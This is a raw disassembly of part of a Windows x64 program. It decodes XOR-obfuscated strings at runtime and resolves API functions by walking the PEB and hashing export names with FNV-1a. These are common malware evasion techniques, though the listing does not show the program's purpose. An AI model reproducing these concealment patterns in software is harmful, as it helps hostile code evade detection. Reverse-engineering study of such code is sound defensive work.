lea r14d, [rsi + 0x1b]
jmp 0x1400038b0
lea rcx, [rbp + 0xa0]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0xa0]
call fcn.1400239d0
lea rdx, [0x1400a041c]
lea rcx, [rbp + 0xb0]
call fcn.140024600
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0xb0]
call fcn.1400239d0
lea rdx, [0x1400a0420]
lea rcx, [rbp + 0xc0]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0xc0]
call fcn.1400239d0
movups xmm0, xmmword [str.kLYXYNXJ___od]
movups xmmword [rbp + 0x398], xmm0
movups xmm1, xmmword [0x1400ac030]
movups xmmword [rbp + 0x3a8], xmm1
movzx eax, word [0x1400ac040]
mov word [rbp + 0x3b8], ax
mov r8d, r13d
cmp r12d, 2
jl 0x140004455
movdqa xmm5, xmmword [0x1400ad1e0]
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x39c]
mov edx, dword [rbp - 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140004352
cmp r8d, 0x22
jge 0x1400044a0
movsxd rax, r8d
lea r9, [rbp + 0x398]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140004470
movzx edx, byte [rbp + 0x4610]
lea rcx, [rbp + 0x318]
call fcn.140024990
nop
lea rax, [rbp + 0x398]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400044c0
lea rdx, [rbp + 0x398]
lea rcx, [rbp + 0x318]
call fcn.1400249b0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x318]
call fcn.140002170
nop
lea rcx, [rbp + 0x318]
call fcn.140001ea0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004586
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004586
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xab57c2fc
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004581
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004560
cmp r8d, 0xff17e7f
je 0x14000458b
test r9d, r9d
jne 0x140004540
mov rax, qword [rax]
jmp 0x140004510
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
mov eax, dword [str._UI_]
mov dword [rsp + 0x20], eax
cmp byte [0x1400a0ae3], 0
je 0x140004690
cmp r12d, 2
jl 0x14000464f
movdqa xmm3, xmmword [0x1400ad1e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad260]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad260]
shufps xmm2, xmm0, 0xdd
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400ad200]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400ad250]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x140004690
lea r9, [rsp + 0x20]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140004660
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004726
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004726
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb0781e86
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004721
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004700
cmp r8d, 0xe09a7787
je 0x14000472b
test r9d, r9d
jne 0x1400046e0
mov rax, qword [rax]
jmp 0x1400046b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x20]
call rdx
movsd xmm0, qword [str.UV]
movsd qword [rsp + 0x58], xmm0
movzx ecx, word [0x1400a08a0]
mov word [rsp + 0x60], cx
movzx eax, byte [0x1400a08a2]
mov byte [rsp + 0x58], WSASetLastError
xor byte [rsp + 0x59], 0x39
xor byte [rsp + 0x5a], 0x3a
xor byte [rsp + 0x5b], 0x3b
xor byte [rsp + 0x5c], 0x3c
xor byte [rsp + 0x5d], 0x3d
xor byte [rsp + 0x5e], 0x3e
xor byte [rsp + 0x5f], 0x3f
xor cl, 0x40
mov byte [rsp + 0x60], cl
xor byte [rsp + 0x61], 0x41
xor al, 0x42
mov byte [rsp + 0x62], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004836
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004836
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x1dfbe236
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004831
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004810
cmp r8d, 0xaceed377
je 0x14000483b
test r9d, r9d
jne 0x1400047f0
mov rax, qword [rax]
jmp 0x1400047c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x58]
call rdx
lea rdx, [0x1400a0410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400242c0
mov rcx, rax
lea rdx, str._n________________________________n___________________________n__________________________n__________________________n_t
call fcn.1400242c0
mov rcx, rax
mov dl, 0xa
call fcn.1400240f0
lea rdx, str._n_n___
lea rcx, [rbp + 0xd0]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0xd0]
call fcn.1400239d0
lea rdx, [0x1400a041c]
lea rcx, [rbp + 0xe0]
call fcn.140024600
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0xe0]
call fcn.1400239d0
lea rdx, [0x1400a0420]
lea rcx, [rbp + 0xf0]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0xf0]
call fcn.1400239d0
movups xmm0, xmmword [str.hK_HO]
movups xmmword [rbp + 0x338], xmm0
movups xmm1, xmmword [0x1400a0d40]
movups xmmword [rbp + 0x348], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140004ad0
cmp r12d, 2
jl 0x140004a8d
movdqa xmm5, xmmword [0x1400ad1e0]
mov edx, r13d
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x33c]
mov r8d, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140004990
jmp 0x140004ad0
lea r9, [rbp + 0x338]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140004aa0
movzx edx, byte [rbp + 0x4610]
lea rcx, [rbp + 0x358]
call fcn.140024990
nop
lea rax, [rbp + 0x338]
nop dword [rax + rax]
inc r15
cmp byte [rax + r15], 0
jne 0x140004af0
mov r8, r15
lea rdx, [rbp + 0x338]
lea rcx, [rbp + 0x358]
call fcn.1400249b0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x358]
call fcn.140002170
nop
lea rcx, [rbp + 0x358]
call fcn.140001ea0
movsd xmm0, qword [str.HXOHY]
movsd qword [rsp + 0x68], xmm0
movzx ecx, word [0x1400a08b0]
mov word [rsp + 0x70], cx
movzx eax, byte [0x1400a08b2]
mov byte [rsp + 0x68], reloc.WS2_32.dll_WSASetLastError
xor byte [rsp + 0x69], 0x39
xor byte [rsp + 0x6a], 0x3a
xor byte [rsp + 0x6b], 0x3b
xor byte [rsp + 0x6c], 0x3c
xor byte [rsp + 0x6d], 0x3d
xor byte [rsp + 0x6e], 0x3e
xor byte [rsp + 0x6f], 0x3f
xor cl, 0x40
mov byte [rsp + 0x70], cl
xor byte [rsp + 0x71], 0x41
xor al, 0x42
mov byte [rsp + 0x72], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004c16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004c16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xdb20e7c9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004c11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004bf0
cmp r8d, 0x75fd4e28
je 0x140004c1b
test r9d, r9d
jne 0x140004bd0
mov rax, qword [rax]
jmp 0x140004ba0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x68]
call rdx
movups xmm0, xmmword [0x1400a0e98]
movups xmmword [rbp + 0xa50], xmm0
movups xmm1, xmmword [0x1400a0ea8]
movups xmmword [rbp + 0xa60], xmm1
movsd xmm0, qword [0x1400a0eb8]
movsd qword [rbp + 0xa70], xmm0
mov eax, dword [0x1400a0ec0]
mov dword [rbp + 0xa78], eax
mov r8d, r13d
mov r15d, Ordinal_32
cmp r12d, 2
jl 0x140004dc3
movdqa xmm5, xmmword [0x1400ad1e0]
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0xa54]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140004cc0
cmp r8d, 0x2c
jge 0x140004e00
movsxd rax, r8d
lea r9, [rbp + 0xa50]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140004dd0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004e96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004e96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xe86a4477
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004e91
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004e70
cmp r8d, 0x42c98cf6
je 0x140004e9b
test r9d, r9d
jne 0x140004e50
mov rax, qword [rax]
jmp 0x140004e20
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xa50]
call rdx
movups xmm0, xmmword [0x1400acd10]
movups xmmword [rbp + 0x4b0], xmm0
movups xmm1, xmmword [0x1400acd20]
movups xmmword [rbp + 0x4c0], xmm1
mov eax, dword [0x1400acd30]
mov dword [rbp + 0x4d0], eax
mov r8d, r13d
cmp r12d, 2
jl 0x140005033
movdqa xmm5, xmmword [0x1400ad1e0]
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x4b4]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140004f30
cmp r8d, 0x24
jge 0x140005070
movsxd rax, r8d
lea r9, [rbp + 0x4b0]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140005040
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005106
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005106
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xf6d83971
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005101
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400050e0
cmp r8d, 0xbc396050
je 0x14000510b
test r9d, r9d
jne 0x1400050c0
mov rax, qword [rax]
jmp 0x140005090
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x4b0]
call rdx
movups xmm0, xmmword [0x1400a0ac0]
movups xmmword [rbp + 0x218], xmm0
movsd xmm0, qword [0x1400a0ad0]
movsd qword [rbp + 0x228], xmm0
mov eax, dword [0x1400a0ad8]
mov dword [rbp + 0x230], eax
movzx eax, word [0x1400a0adc]
mov word [rbp + 0x234], ax
cmp byte [0x1400a0add], 0
je 0x140005300
mov r8d, r13d
cmp r12d, 2
jl 0x1400052c3
movdqa xmm5, xmmword [0x1400ad1e0]
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x21c]
mov edx, dword [rbp - 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400051c0
cmp r8d, 0x1e
jge 0x140005300
movsxd rax, r8d
lea r9, [rbp + 0x218]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1400052d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005396
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005396
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x84e24bb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005391
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005370
cmp r8d, 0x48851622
je 0x14000539b
test r9d, r9d
jne 0x140005350
mov rax, qword [rax]
jmp 0x140005320
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x218]
call rdx
movups xmm0, xmmword [0x1400a2b50]
movups xmmword [rbp + 0xa80], xmm0
movups xmm1, xmmword [0x1400a2b60]
movups xmmword [rbp + 0xa90], xmm1
movsd xmm0, qword [0x1400a2b70]
movsd qword [rbp + 0xaa0], xmm0
mov eax, dword [0x1400a2b78]
mov dword [rbp + 0xaa8], eax
mov r8d, r13d
cmp r12d, 2
jl 0x140005543
movdqa xmm5, xmmword [0x1400ad1e0]
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0xa84]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
